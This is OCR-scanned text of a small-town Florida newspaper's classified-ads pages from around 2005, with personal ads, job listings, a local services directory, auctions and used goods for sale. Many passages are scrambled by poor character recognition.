984-2986 LOOKING FOR TRIM petite gal who likes to go on weekend trips. Camping, motorcycle riding, so on. For lasting relationship. No smoking or drugs.BeIng employed is not impor- tant. 352-209-0151 SEEKING SWF, 45-plus, DIv,widow into Single man looking for LTR with lady 25-45 who enjoys staying home & going'out, movies, family activities & children. If Interested call (352) 628-9140 or write P.O. Box 2641 Homosassa Springs, FL 34447 ** FREE SERVICE** Cars/Trucks/Metal Removed FREE. No title OK 352-476-4392 Andy Tax Deductible Receipt 1 year old spayed female cat needs good home. (352) 422-3656 *WANTED* Dead or Alive. Vehicle Removal No title okay. (352) 563-6626 or 697-0267 COMMUNITY SERVICE The Path Shelter is available for people who need to serve their community service, (352) 527-6500 or (352) 794-0001 Leave Message Putting you in :. with the Nature Coast i Our family of newspapers reaches more than 170,000 readers in Citrus, Marion, Sumter, Levy, Dixie and Gilchrest counties. * GIilut ntyorie h Th, eo? * Hcs tassiBemnn IWtnrenrnewrr SyiW ivyC-uOrt *Sunter(onltyTf r * WEton R ofr SunNe tm SoutrhMArion en W efand Ne zm ,Td ndhoppe (hiebindGtihen TWountyhllin The best way to reach the growing Nature Coast market is through our award-winning, growing newspapers. 1624 North Meadow.est Boulevrd Crystal Rne, FL 34429 (352) 563-6363 www chrowdlhincr r ALL NATURAL Organic Horse Manure Free for the Taking! (352) 527-2911 FREE BROWN La-Z-Boy recliner with small cigarette burn in set. (352) 860-2347 FREE GROUP COUNSELING Depression/ Anxiety (352) 637-3196 or 628-3831 FREE HAULING SERVICE Car & marine engines, steel & scrap metal, etc Fred 628-2081 FREE KITTENS TO GOOD HOMES Part Calico, litter trained. (352) 860-2362 FREE KITENS (352) 860-0964 FREE RED POMERANIAN 1-1/2 yrs old, male, neutered, very loveable, needs companionship, (352) 795-7976 FREE REMOVAL OF Mowers, motorcycles, Cars. ATV's, 628-2084 FREE TO GOOD HOME Black & white Border Collie mix, female, 9 months old. Needs room to run, good family dog (352) 637-4064 THE HOME STORE a Habitat for Humanity of Citrus County Outreach, is seeking Donais of use- abe building materials, home remodeling and decorating items, furniture, and Appliances. No clothing please. \Vonteers re needed h the Home Store. Store hours are: 9am-5pm Mon-Sat. Call The Home Store 3685 Forest Drive Inverness (352)341-1800 for further information. DOG, young female Beagle/Bassett, on 5/29/05, vicinity Wallace Brooks Park (Rails to Trails) Inverness. REWARD (352) 341-4306 PARROT gray w/ bright red tall. in Chassahowitzka area. (352) 382-1168 $400 REWARD F^--------- Divorces IBankruptcy SName Change SChild Support SWils I jinveness ... 63740221 "MR CITRUS COUNT" S. C ALAN NUSSO BROKER Associate Real Estate Sales Exit Realty Leaders (352) 422-6956 *CHRONICLE* INV. OFFICE 106 W. MAIN ST. Courthouse Sq, next to Angelo's Pizzeria Mon-Fri 8:30a-5p Closed for Lunch ATTRACTIVE SWF seeking male companion. Candi, 352-628-1036 I will care for your loved one in your home. 35 yrs. exp. Excellent references 527-6553 I ilcre foryor oe d one i yurhoe CHILD CARE Needed for adorable PRESCHOOL TEACHER NEEDED (352) 795-6890 317 09, r34- 3 ADMINISTRATIVE ASSISTANT/ SECRETARY for construction office. Experience and knowledge of computers required. Send resume to: 531 Citrus Avenue, Crystal River, FL 34428 or Fax 564-2584 JOBS GALORE!!! EMPLOYMENT.NET PART TIME HELP Needed for busy con- struction office. Must possess excellent phone & computer skills. Send resume Blind Box 844M, C/O Chronicle, 1624 N Meadowcrest Blvd, Crystal River, FL 34429 SECRETARY Pleasant part time work, able to multi task and be well organized. Seniors welcome. Please fax resume to 352-527-9958 Sugar mill Woods Welcome Center -RECEPTIONIST Weekends. Customer, phone and computer skills required. Fax Resume to: 352-382-3850 or call 352-382-0600 HOUSEKEEPING SUPERVISOR Best Western Citrus Hills .Apply within A+ Healthoare *1 h.,~ Bowl For AlrENTION CNAs 3-11 & 11-7 F/T & P/T Shift differential Bonuses abundant Highest paid in Citrus County. Join our team, Cypress Cove Care Center (352) 795-8832 S"CNAs/NAs *DIETARY AIDES, Full & P/T i Apply In person Nature Coast Lodge FRONT OFFICE ADMINISTRATOR Dental office seeking people person with excellent communica- tlon llON. Lecanto Hwy Lecanto, Fl 34461 No phone calls MEDICAL BILLING SPECIALISTS Therapy Management Corp. Is seeking F/T medical billing specialists for its Homosassa/ Sugarmlll .i- .. .. -i -.:l.~~ i I i -:-:iA:t .~x5 ~\ Child Mentoring June 11 12 to 2 p.m. Registration starts at 11:30 a.m. 5-member teams Each team bowls 2 games -The team may get pledges or do fundraisers Each team is required to raise $250 minimum Each bowler will receive a t-shirt and a chance at valuable prizes *Three trophies will be awarded All proceeds to benefit Sertoma Menloring Village of Citrus County o Sit Corporate sponsors receive special recognition before and during the event. sh Send or fax business name, phone number, team captain and team members names with shirt sizes to: L, t wi r Sertoma Mentoring Village P.O. Box 942 Homosassa Springs, Fl 34447 "- Fax: 352-794-5411 . For information call 794-5410 ext 209 iJ .3 . EARN AS YOU LEARN CNA Test Prep/CPR Continuing Education 341-231 1/Cell 422-3656 LICENSED MASSAGE THERAPIST For multi-specialty clinic. Trigger point, deep tissue, exercise therapy. Fax resume to: 352-527-4199 lace to work e Apply at: / BARRINGTON PLACE 234i W. Norvell Bryant Hwy. Lecanto No Phone Calls P/T AR/Assistant For busy office. Experience preferred. Immediate opening. (352) 489-2995 PHLEBOTOMIST With some office experience. Please send resume to: PO Box 640309, Beverly Hills. FL 34464 SERVICE REP for local DME comp- any Must have clean driving record and drug free. CDL a plus. Experience preferred, but will train the right person. 344-9637 -Ei , *. .. -. . Of Citrus County (7)ol GROWING INSURANCE AGENCY Looking for two experienced personal line CSR's. Benefits included. 'e Resumes to: Blind Box 845-P, c/o Citrus Chronicle 106 W. Main St., Inverness, FL 34450 $$$$$$$ ALL POSITIONS AVAILABLE Come join our Team, Inverness PIZZA HUT: 726-4880 COOK Scampl's Restaurant (352) 564-2030 Exp. Line Cook Exc. wages. Apply at: CRACKERS BAR & GRILL Crystal River SERVERS NEEDED, Apply in person Mon. thru. Fri. 2 4pm Joe's Restaurant 726-1688 VAN DER VALK FINE DINING HIRING *LINE COOKS* *(Starting at $8/hour) Please Contact (352) 637-1140 Your world first. Every Day CFripNiJE CLASSIFIED ADVERTISING SALES The Citrus County Chronicle is seeking an energetic individual to consult businesses on the use of classified advertising. If you have the desire to work in a fast paced, fun, environment please apply today. essential Functions IT Develop classified customers through cold calling and prospecting. Strong rapport building, professional communication and good listening skills Develop new opportunities for customers to do business with Citrus Publishing. SMaintain customers through servicing after the Initial sale. Qualifications SHigh School diploma or equivalent. - Prior sales experience , Advertising or marketing experience preferred. ' Application Deadline: May 27, 2005 Send resume to: 1624 N Meadowcrest Blvd., Crystal River, Fl 34429 Fax: (352) 563-5665 EOE, drug screening for final applicant On Top of the World Communities CUSTOMER SERVICE REPRESENTATIVE Partime (20 hrs) Do you enjoy speaking with ' people on the telephone? Do you have excellent phone & computerskills? OR Would you rather meet people in person? RECEPTIONIST Full-time (32 hrs) Fri-Mon Busy Sales Office Excellent people and computer skills required, Call: 352-854-2391x 141 or send resumes to: Telemarketing Dept, 8447SW99"SteRd Ocala, FL 34481 Come "Find your place in the world" DFWP/EOE A NEW CAREER?? MUST BE SERIOUS & DEDICATED Paid training + Commission 9-5 M-F Insurance-& IRA avail. Good phone skills. Only career-minded need apply. Call Frank (352) 560-0123 ADVERTISING SALES 20 to 30% Commission! Full color direct mail coupon magazine seeks qualified sales- person. Call Mark, 352-464-1125 EXP'D SALESPERSON needed for booming Industry. Earn record commissions. Profes- sionalism and honesty a must. Fax resume to: 352-628-5167 $$$ SELL AVON $$$ FREE gift. Earn up to 50% Your own hrs, be your own boss. Call Jackie I/S/R 1-866-405-AVON SALES HELP Floor covering, Full Time, 302-6123 or 564-2772/Hdz. required Great benefits 99-04 equipment Call Now 800-362-0159 24 hours A/C SERVICE TECH & INSTALLERS Good pay & benefits Apply in person Air Care Heating and Cooling 7745 W Homosassa Trl ALUMINUM SOFFIT INSTALLERS 2-3 Single Story New Construction Homes In Citrus County ready- per weekI Competitive pay. Signing bonus to qualified installers. (352) 795-9722 Name the Cooter Contest The City of Inverness and the Citrus County Chronicle announce the long-awaited "Name the Cooler Contest". It's now time to give a name to that cute and cuddly turtle you've seen throughout Citrus County since making his/her debut on the Daily Show with Jon Stewart and at the inaugural Great American Cooter Festival la ' year. Contest Rules- \ The contest is open to all Citrus County residents. Family members or employees of the City of Inverness, the Citrus County ChroniclI or their affiliates are not eligible to participate. One entry per person. Entered names cannot be related to brand names or commerce j . advertisements. Nomination Procedures - * Nomination forms are available at any City of Inverness Office -or a the Citrus County Chronicle Offices located in Inverness and Meadowcrest. * Nomination forms can also be found in the Citrus County Chronicle. I think the Cooter's name should be Name Address Phone ^ ': Sponsored by ... om INVERNESS PIONEER CITRUS CouIiy (T;L) CHRONICLE CLASSIFIED C=" Good Things "to Eat I ;;* . I CITRUS COUNTY (FL) CHRONICLE '" 8C WEDNESDAY,JUNE 2005 -- rae El~E ALUMINUM INSTALLERS ELECTRICIANS EXP'D PAINTER 5 years minimum, USTSign on Bonus! Must have own tools AUST HAVE CLEAN Benefits, local work, & transportation: RIVER'S LICENSE. residential. Holidays (352) 302-6397 Willing to Train! & Bonuses. all:(352) 563-2977 (352) 748-4868 FIELD ERS DISCOUNT AIR SUPERINTENDENT CONDITIONING Now Taking WANTED e applications for For Flynn Builders, Inc. (P. INSTALLERS* (Custom Home Builder) 352) 746-9484 Fax resume 352-746-5972 or e-mail CARPENTERS/ fivnnbld@earthlInk.net FRAMERS ood Pay If you are 6 FLOOR TECH A WHOLE HAULING & TREE SERVICE 352-697-1421 V/MC/D af j AFFORDABLE, | DEPENDABLE HAULING CLEANUP. STrash, Trees, Brush I | Appl. Furn, Const& Debris.352-697-1126 DAVID'S ECONOMY TREE SERVICE, Removal, & trim. Lc..& Lic #0256879 352-341-6827 Uc. & Ins. Free Est. Billy (BJ) McLaughlin 352-212-6067 STUMPS FOR LESS "Quote so cheap you won't believe itz" (352) 476-9730 TREE SURGEON Uc#000783-0257763 & Ins. Exp'd friendly serve. Lowest rates Free I will sell your Items for you on eBay. Call 746-6697 chris@ccebay.com LUc. 17210214277 & Ins. (352) 697-1564 All Phase Construction Quality pointing & re- pairs. Faux fin. #0255709 352-586-1026 637-3632 CHEAP/CHEAP/CHEAP DP Pressure Cleaning & Painting. Ucensed & Insured. 637-3765 FIND EXACTLY WHAT YOU NEED IN THE SERVICE DIRECTORY George awealige Painting- Int./Ext. Pressure Cleaning- Free est. 794-0400 /628-2245 INTERIOR/EXTERIOR & ODD JOBS. 30 yrs J. Hupchl Affordable Boat Maint. & Repair, Mechanical, Electrical, Custom Rig. John (352) 746-4521 -U AT YOUR HOME Res. mower & small engine repair. UL VChris Satchell Painting & Wallcovering.AII work 2 full coats.25 yrs. Exp. Exc. Ref. Lic#001721/ Ins. (352) 795-6533 AFFORDABLE PAINTING WALLPAPERING & FAUX Lic. 17210214277 & Ins. (352) 697-1564 -sHH "WICKED CLEAN OFFICES & WINDOWS" Lic, & Insured. (352) 527-9247 A CLEAN HOUSE Is what I do. 30-yrs exp. (352) 637-5212 228-1810 HOMES & WINDOWS Serving Citrus County over 16 years. Kathy (352) 465-7334 PENNY'S Home & Office Cleaning Service Ret. avail., Ins., Lic. & bonded (352) 726-6265 WILL CLEAN YOUR HOME Reliable & Dependable. (352) 527-1836 ROGERS Construction Additions, remodels, new homes, 637-4373 CRC 1326872 TMark Construction Co. Additions, remodels & decks, ULIc. CRC1327335 Citrus Co (352)302-3357 ARK POWER WASH Full Service, Fast Response, Free Est. Lic. Ins. (352) 795-3026 AUGIE'S PRESSURE Cleaning Quality Work Low Prices. FREE Estimates: 220-2913 Mike Anderson Painting Int/Ext Painting & Stain- Ing, Pressure Washing also. al ll a profession- al, Mike (352) 628-7277 ROLAND'S Pressure Cleaning Roofs, houses, driveways., mobiles 21 yrs exp. Lc. 726-3878 '"The Handyman" Joe, Home Maintenance & Repair. Power washing, Painting, Lawn Service & Hauling. ULi 0253851 (352)563-2328 #1 IN HOME REPAIRS, paint, press.wash, clean roof&gutters, clean up, haul #0169757 344-4409 A HIGHER POWER HANDYMAN SERVICE Elec. e Uc. #2251 422-4308/344-1466 AAA HOME REPAIRS Maint & repair prob- lems Swimming Pool Rescreen99990000162 352-746-7395 S AFFORDABE, DEPENDABLE HAULING CLEANUP. All Around Handyman thing, Llc.#73490257751 352-299-4241/563-5746 ALL TYPES OF HOME IMPROVEMENTS & REPAIRS #0256687 352-422-2708 Andrew JoehlI Handyman. General Maintenance/Repairs Pressure & cleaning. Lawns, gutters. No Job too small Reliable, Ins 0256271 352-465-9201 GOT STUFF? You Call We Haul CONSIDER IT DONE MovingCleanous, & (352) 302-2902 Home Maintenance A to Z no job to small. Call Floyd #007349-0257621 & insured (352)563-1801 Mowing, Landscaping, Pressure Cleaning, Cleanups, Hauling Ceiling Fans, light fixtures, & much more. Lic 038 (352) 621-3455 NATURE COAST HOME REPAIR & MAINT. INC. Offering a full range of services, Llc.0257615/lns. (352) 628-4282 Visa/MC Maintenance, painting & clean up, Llc9999000 2321 (352)344-8131 or (352) 796-4197 SALESMART HANDYMAN SERVICE Remodeling, all types of repairs, 25 yrs, expert. 341-4400 TMark Construction Co. Additions, remodels & decks, Uc. CRC1327335 JT'S TELEPHONE SERVICE Jack & Wire Installation & repair. Free esti- mates: CALL 527-1984 I WILL REPLACE YOUR LIGHT OR FAN with a fan with light starting at $59.95 Uc#0256991 (352) 422-5000 #I#I A-A-A QUICK PICK UPS & hauling, Garage clean-outs, tree work. DEPENDABLE I HAULING CLEANUP STrash, Trees, Brush, I I Appl. Furn, Const & I clean ups.Everythng from A to Z 628-6790 GOT STUFF? You Call We Haul CONSIDER IT DONE! Movlng.Cleanouts. & Handyman Service Uc. 99990000665 (352) 302-2902 HAULING & GENERAL Debris Cleanup and Clearing. Call for free estimates Junk & Debris Removal Good prices & prompt service. (352) 628-1635 ON SIGHT CLEANUP MH., Lic & Insured. Low Pricesl CL#2654 (352) 249-3165* John Gordon Roofing Reas. Rates. Free est. Proud to Serve You. ccc 1325492. 628-3516/800-233-5358 Benny Dye's Concrete Concrete Work All types Llc. & Insured. RX1677. (352) 628-3337 SBIANCHI CONCRETE Driveway-Patio- Walks. Concrete Specialists. Llc#2579/Ins. 746-1004 CONCRETE WORK. SIDEWALKS, patios, driveways, slabs. Free estimates. Uc. #2000. Ins. 795-4798. DANIEL ENO CONCRETE All types, All Sizes. Uc #2506. Ins. 352-637-5839 DECORATIVE CONCRETE COATINGS. Renew any existing concrete, designs, colors, patterns Uc. Ins. (352) 527-9247 PAVER SAVER Protect your pavers /concrete from stains, mildew & fading, while adding luster & beauty. (352) 527-9247 RIP RAP SEAWALLS & CONCRETE WORK Lic#2699 & Insured. (352)795-7085/302-0206 ROB'S MASONRY & CONCRETE tear out Drive & replace, Slab. Lic.1476 726-6554 DUKE & DUKE, INC. Remodeling additions Uc. # CGC058923 Insured. 341-2675 TMark Construction Co. Additions, remodels & decks, Lic. TRUCK & TRACTOR SERVICE, INC. Landclearing, Hauling & Grading. Fill Dirt, Rock. Top Soil & Mulch. Ucensed & A MOST AFFORDABLE * & REASONABLE * Land & Lot Clearing Also Fill Dirt deliveries, Free est. Uc. Insured. (352) 795-9956 All Tractor Works, By the hour or day Ix Clean Ups, Lot & Tree Clear- ing, Fill Dirt, Bush Hog, Driveways 302-6955 AMAZING -We can clear your lot, haul your fill, grade your house pad. S&W Land Clear- Ing. 637-0686 Iv. msg, Excavation &Site Dev BJL Enterprises Uc. #CGC062186 (352) 634-4650 HAMM'S BUSHHOG SERVICE. Pasture Mowing, lots, acreage. (352) 220-8531 Owner/Builders Land clearing/fill dirt. concrete driveways, sidewalks, house floors, block work Llc. #2694 352-563-1873 QUALITY TRACTOR SERVE. 100, Senior & Vet disc. 795-2976 cell 302-1396 Bill's Landscaping & Complete Lawn Service Mulch, Plants, Shrubs, Sod, Flower Beds. Trees CALL CODY ALLEN & hauling services (352) 613-4924 Lic/Ins D's Landscape & Expert Tree Svce Personalized design. Cleanups & Bobcat work. Fill/rock & Sod: 352-563-0272 GLENN BEST MOW- EDGE .TRIM .F A MS A DEAD LAWN? BROWN SPOTS? We specialize in replugging your yard. LIc/ins. (352) 527-9247 Mowing/Mulch, Trimming/Edging,Debris removal.(352) 527-8536 Affordable Lawn Care $10 and Up. Professional & Reliable 352-563-9824/228-7320 CALL CODY ALLEN for complete lawn,tree & hauling services (352) 613-4924 Uc INVERNESS AREA Mow, Trim, Cleanup, Hauling, Reliable, Res/Com. (352) 726-9570 Jimmy Lawn Service Reliable, Dependable Lawn Main. at Reasonable Rate. Call LAWN LADY. Cheap prices, good service. Mowing, landscaping, pressure wash,563-5746 TradesP I Trades =/Skills I FRAMERS PAINTER WANTED Wanted experienced (352) 307-0207 person, Conscientious, (352) 307-0207 with transportation. Good work = good MASONS pay. 352-302-7316 $18 hr. OT $27 hr. Marion County PIKE'S 352-529-0305 PIKE'S Night Shift Full-Time ELECTRIC TRUCK DRIVER Bonded Licensed Residential & The Citrus County Commercial Chronicle Is currently Lake Sumter Polk accepting applications Don't miss the for a night shift full-time opportunity to work Truck Driver. A for the fastest, successful candidate growing electrical must possess or be able contracting business to obtain a Class D In Central Florida. license and have a Many positions may clean driving record, be available at our Apply in person or Groveland/ send resume to: Wildwood branches. Citrus County Chronicle SIGN ON BONUS Attn: Tom Feeney 1624 N. Meadowcrest MAY APPLY FOR Blvd., Crystal River, RESIDENTIAL FL 34429 ROUGH LEADS & RESIDENTIAL Ciiri TRIM LEADS C EXPERIENCE PART TIME REQUIRED Top wages and COLLATOR excellent benefits, Including health & The Citrus County dental, 401K plan, Chronicle's Company trucks are Packaging available for some Department is positions. Valid DL currently accepting required. Helper applications for a positions also Collator. Must be available, able to work DFW, EOE weekends and Apply today. holidays. Heavy lifting Openings will and bending fill quick352-748- required Must possess 352-748-251 good organizational, PLASTERERS communication and writing skills, Needed Citrus County Qualified candidates Work. Top Pay. Trans. may fill out an provided. & Vacation. application at the 352-621-1283 Citrus County 302-0743 Chronicle, 1624 N. Meadowcrest Plywood Sheeters Blvd., Crystal River & Laborers or our Inverness office at Needed In Dunnellon 106 W. Main St. In the area. Please call: Courthouse Square (352) 266-6940 PROFESSIONAL WRECKER OPERATORS 24hr Towing Company seeks Drivers. Hiah Volume, Long Hours, Good Pay. Clean ULcense & dependable apply. 352-795-1002 QUALIFIED I SERVICE TECH Must have j experience and current FL Driver's License Apply In person: Daniel's Heaing & Air S4581 S. Florida Ave.I Inverness REPUTABLE SWIMMING LAWNMOWING SERVICE POOL COMPANY Cheap, Reliable & Available. Seeking (352) 746-6878 > CONCRETE MARK'S LAWN CARE FINISHER Complete Full Service, Good Wages, Hedge Trimming Benefits (352) 794-4112 Paid Holidays. Mowing, (352) 726-7474 Landscaping, DFWP Pressure Cleaning, ReeFERS/ Cleanups, Hauling *ROOFERS/ Ceiling Fans, light LABORERS fixtures, & more. *REPAIRMAN Lic 038 *ESTIMATOR (352) 621-3455 ELI'S LAWNCARE Must have own transp. *Landscaping *Tree Srv & own tools. Only Fertilizing -Mowing Exp. need apply Uc. Ins. (352) 613-5855 (352) 563-3478 Iv.msg olYOU ARE INV S Srie23' EML POOLS 4 t Pool cleaning & repair, 32yrs In Citrus County Usc & Ins.(352) 637-1904 Silent SWIMMING POOL Cher Iml LEAK DETECTION Ctrus Over 40yrs exeence Ctrus 352-302-9963/357-5058 1570 West CRYSTAL PUMP REPAIR (352)563-1911 Subs, jet pumps, filters i 's S FREE ESTIMATES WATER PUMP SERVICE & Repairs on all makes 1 & models. ULc. Anytime, 344-2556, Richard SPECIAL GUEST BETTY Al PRESENTS PWC 746-6990 in Holder CHER THROUGH THE D Welding & Machining Steel & Aluminum Sales DONATIONS ARE TX DE[ Angle, Tubing & Sheets DRESS is BUSINESS OR COC Ron's Portable Welding & Fabrication. Prompt service, "No Job too____________ small, 352-628-1635.or 352-476-4926 YOU DO, WE DO, ARC WELDING. A d You: $20 per hr plus hr plus mat, fOf SS (352) 302-6955 l "MR CITRUS COUNTYt'________ n.-01 *"* ' I-L- m VITED TO WISH FOR THE STFRS Annual Celebrity Dinner Auction benefit the Key Training Center Friday, July 15, 2005 Auction & Social Hour at 5:30 p.m. iersonator Dinner Show at 6:30 p.m. Springs Community Center Citrus Springs Boulevard, Citrus Springs II - Key Training Center SCHISON 23" Annual Dinner Auction Tickets DECADES $50 per person. Call (352)527-8228 DUCTILE -- C Ni KIAIL F9ETIRE ALAN NUSSO BROKER Associate Real Estate Sales Exit Realty Leaders (352) 422-6956 : : TROPICAL RESCREENING, Inc Complete Rescreen- .... . Ing & Repairs. (352) 464-3140/726 -2991 License #9990002169 RAINDANCER Seamless Gutters, Soffit "These are Fascia, Siding, Free Est. Lic. & Ins. 352-860-0714 I r-: 9-1 EXP.PAINTERS Needed, Lonny Snipes Painting, Cell, 400-0501 SALES CONSULTANT Local retail Furniture Co. has Immediate opening for experienced sales consultants. Quali- fied candidates will possess a, FI 34429 Only those candidates selected for Interviews will be contacted. EOE SWIMMING POOL SERVICE/START UP TECHNICIAN Exp. Only. Clean Drivers License. Fax To: (352) 382-4660 TILE/CARPET INSTALLER Experienced only West Coast Flooring 352-564-2772 M ,,= ,-/marine Industry ex- per. Postion requires exper, In warehouse performance. QC & excel. phone ettlquette to handle customer service calls, Please submit resume to: OMP, PO Box 148 Crystal River, FL 34423 ELECTRICAL WAREHOUSE Immediate Opening. 2 yrs. residential electrical or warehouse exp. Good driving record. Paid sick, vacations and holidays. Apply in person S&S ELECTRIC 2692 W. Dunnellon Rd. CR-(488) Dunnellon EOE/DFWP (352) 746-6825 1 i . C' General X1 cm Hel KEY TRAINING CENTER HELP OTHERS BECOME INDEPENDENT BY USING YOUR LIFE EXPERIENCES. WORK WITH DEVELOPMENTALLY DISABLED ADULTS. BACKGROUND CHECKS AND EMPLOYMENT HEALTH PHYSICAL WILL BE REQUIRED FOR POST-JOB OFFER EMPLOYEES RESIDENTIAL AIDE: RT positions available. Responsible for assisting Developmentally Disabled adults in a residential setting- HS Diploma\GED required. RESIDENT MANAGER ASSISTANT: FkT & PkT position in a group home setting in the Inverness area. Responsible for assisting Developmentally Disabled adults with daily living skills. HS Diploma\GED required. TRANSITIONAL LIVING COACH: FkT & P\T positions. Experience preferred. Work with Developmentally Disabled adults with living skills in an apartment setting. HS Diploma\GED required. (F\T)M-F 12:00 noon - 8:00pm, some weekends, flexibility with schedule required. SUBSTITUTE INSTRUCTOR ASSISTANT: PIT on call position working in a classroom or workshop setting assisting Developmentally Disabled adults with learning skills. HS DiplornaGED required, RECREATION THERAPIST 1: F/T & P/T positions with competitive salary. Supervise Developmentally Disabledadults during group and individual activities. Requirements include; High school diploma/GED; lifeguard certification, professional CPR/First Aid, valid FL. APPLY AT THE KEY TRAINING CENTER BUSINESS OFFICE HUMAN RESOURCE DEPT. AT 130 HEIGHTS AVE. INVERNESS, FL 34452 OR CALL 341-4633 (TDD: 1.800-545-1833 EXT. 3471 EOE' CLASSIFIED GET RESULTS IN THE CHRONICLE CITRUS COUNTY (FL) CHRONICLE A NEW CAREER?? MUST BE SERIOUS & DEDICATED Paid training + Commission 9-5 M-F Insurance & IRA avail. Good phone skills. Only career-minded need apply. Call Frank (352) 560-0123 AAA EMPLOYMENT PEST TECH $400/WEEK Co. will Tralni Great Benefit Pkgl LABORER $320/WEEK Clean Ucensel Co. will Tralnl WAREHOUSE $320/WEEK Doing Fabrication I Co. will TrainI NEED CAREER CHANGE? Call For Appt. 795-2721 NO FEE TILL HIRED! BLOCK MASON Repair & Install planter walls & building steps. Flexible hours. 352-427-4993 BOAT CAPTAIN Must have MIn. 25 ton license. Full or PT. (352) 726-6060 Ask for Jerry .* f&C SS&S 1 J ~--* J X cingular Clngular Wreless Authorized Agent CIngular Wireless Authorized Agent Stores In Citrus County, Marion County & Sumter County looking to fill Full & Part Time positions. Sales Associate Shift Supervisor Positions require proficiency In Microsoft Office. Please Call Shirley (352)726-2209 Ext. 228 or send resume online to cwrsespectrumglobal networks.com S HOUSEKEEPERS+* EXPERIENCED Must Have Auto & Home Phone I I Mon-Fi 8-5, Saturday 8-12 I Start $6.50 hr 6 726-3812 J SYowoldr st Need ajob or a qualified employee? This area's #1 employment source! Classifeds h i o l m CONSTRUCTION WORKER Benefits Call for appt. (352)637-1904 EXP. LAWN PERSON Commercial exp.. necessary, (352) 342-0603 216-1168 FULL TIME COOK Needed, Background screening & drug testing required. Call Camp E-Ninihassee Tim Miller or Kathy Speedy Call 726-3883, 8am-4:30pm. FULL TIME NIGHT WATCH Needed, Background screening & drug testing required. Call Camp E-Nlnihassee Call 726-3883, 8am-4:30pm. GOLF COURSE MAINTENANCE Including Summer Help Start at $6.50 per hour. Will train. Duties include all aspects of Golf Course Maintenance. World Woods Golf Club (352) 754-0322 GOLF COURSE MAINTENANCE WORKERS WANTED Apply In person. D/F/W/P EOE El Diablo Golf & JOIN OUR TEAM Compantry Cs looking forub No PThone Calls DRkEC ALOR II! tompnsissal o e fo All posibre. foe q9e IAplyding PelasIon. of tensial weo wnll Established food service Ipvem-5pme at Crystal River MARKETING DIRECTOR Barrington Place is seeking an energetic, detail-oriented professional who will be responsible for all aspects of census development, Including evaluation of potential residents and development of potential new businshers, Blocknowledge of area hospitals and physicians Is required as well as sales experience In long term care. Strong communication and some computer skills a must. Apply at: Barrington Place 2341 W. Norvell Bryant Lecanto, FI WORKERS Layout/form, Placers, Finishers, Block Masons, Tenders & Laborers Competitive pay, Call 352-748-2111 P/T Office Cleaner Nights & weekends. Crystal River area. $7 per hour to start. (352) 344-8567-555 homesold.com WELDERS Needed for Communication Industry. Some travel. Good Pay & Benefits, O/T. Valid Driver's Ucense required. DFWP 352-694-1416 Mon-Fri RETAIL SALES SUMMER HELP NEEDED Management & Floor Help. Ught Travel. (352) 382-7039 P/T TRUCK DRIVER DELIVERIES / WAREHOUSE Need Class D License or better. Apply atTile Contractors Supply between 3:30 pm & 4:30 pm 4301 W Hwy 44, Lecanto. ADVERTISING NOTICE: This newspaper does not knowlingly accept ads that are not bonafide employment offerings. Please use caution when responding to employment ads. PRIVATE MONEY AVAIL. for real estate projects of $10 million and up. Call Richard 352-422-0642 or (1-800-473-5604 24/hrs.) C4 Fle fC=H^ "LIVE AUCTIONS" For Upcoming Auctions 1-800-542-3877 WILL PAY CASH FOR antiques, pottery, old furniture, estates, HARLEY DAVIDSON BEER CANS Full Set 1984-2000 all unopened, $350/obo (352) 795-0330 SPA- DreamMaker Starting at $1,195. w/ Color changing waterfall $1,895, (352) 597-3140 SPA, 5 PERSON, Never used. Warranty. Retail $4300. Sacrifice $1425. (352) 346-1711 SPA/HOT TUB AIR CONDITIONER Sears window Unit, 5000 BTU, used 1 season. $55 STOVE & MICROWAVE Whirlpool, self cleaning elec. oven. Over range Micro. Both work good $75. (352) 341-5020 Amana refrig/freezer, 21.7 cu. ft, 9 yrs. old w/lcemaker, $100. GE side x side refrig/ freezer, 25 cu. ft. w/ice maker, 21/2 yrs, old, $500 (352) 746-1580, 9a-8p Cash only. KITCHEN AIDE Elec. dryer, white, very good condition, $75 (352) 746-9136 WHIRLPOOL REFRIGERATOR 21 cu.ff. almond over-under w/Ice mak- er. $350 obo 341-5585 r Antaue & Collect.4 Hwy. 41-S, Inverness PREVIEW: 10 AM AUCTION: 6 PM Incredible summer sale. Great collec- tion of Art, antique furn., oriental car- pets, bronze, jewel- ry, sliver, china, crys- tal & morelVisit the dudleysauction.com DUDLEY'S AUCTION (352) 637-9588 AB1667 AU2246 12% Buyers Premium 2% disc. cash/check Antiaue & Collect. AUCTION SATURDAY* JUNE 4 4000 S. Fla. Ave. Hwy. 41-S, Inverness PREVIEW: 10 AM AUCTION: 6 PM * incredible summer sale. Great collec- tilon of Art, antique furn., oriental car- pets, bronze, Jewel- ry, sliver, china, crys- tal & morel Visit the web www. dudleysauction.com DUDLEY'S AUCTION 352) 637-9588 I AB1667 AU2246 12% Buyers Premium 2% disc. cash/check L-iii-i a CLASS k^^^B 2 LARGE WORK BENCHES, one steel, one wood, both marble top, $75 ea. 48" ROLLING MACHINE, $150 (352) 228-0304 10" CRAFTSMAN radial arm saw, $250 or best offer. (352) 726-9555 obo (352) 228-0304 MIKITA 10" Table Saw Runs good, $65. (352) 697-4980 32" TOSHIBA barely used, Including stand $450 (352) 382-5702 MAGNAVOX 25" diagonal console TV set, $95. (352) 228-0304 Magnovox Micromatic Stereo Console w/radio & turntable. Made In England, In the '50's? Works. $100. (352) 563-5701 TV/VCR Quasar 13" W/white frame, Model W1318W. Excel. cond, $135. (352) 382-9033 32" PANASONIC TV PIP & SRO. Great plc. $200,00 352-860-2161 COMPUTER WORK STATION w/4 drawers, 4 shelves, all oak. $300. Repair, upgrade, networking. On-site & pick-up services, (352) 746-9696 DIESTLER COMPUTERS 5 PC. PATIO FURN.SET s a se w/cs pars Srem ale cshins. (352) 327-5402 T E$25 48" in diameter. $135. (352) 795-95399 PVC PATIO SET, tee & Coffee white, 4 pieces- chaise lounge, rec$20; All ike ner/otto- man, rocker, stand-up lamp. Excellent. $150 352-746-3196 PAT2 FULSIZE BEDSFURN. frames. boxsprlngs & mattresses, 1 with headboard, $950 SWIVEL upholstered rocker, Castrop converand nble, $75. (352) 228-0304 (352) 228-0304 IFIEDS 2 LA-Z-BOY RECLINERS, blue, good condition, $100 each (352) 344-8046 A Moving Sale Meadowcrest. Leather sofa, loveseat, recliners, bedroom and bedding, 2 wall units- cherry and oak, refrigerator & more. (352) 564-1515 "MR CITRUS COUNTY' ALAN NUSSO BROKER Associate Real Estate Sales Exit Realty Leaders (352) 422-6956 SAntlaue T Collct AUCTION ction.com DUDLEY'S 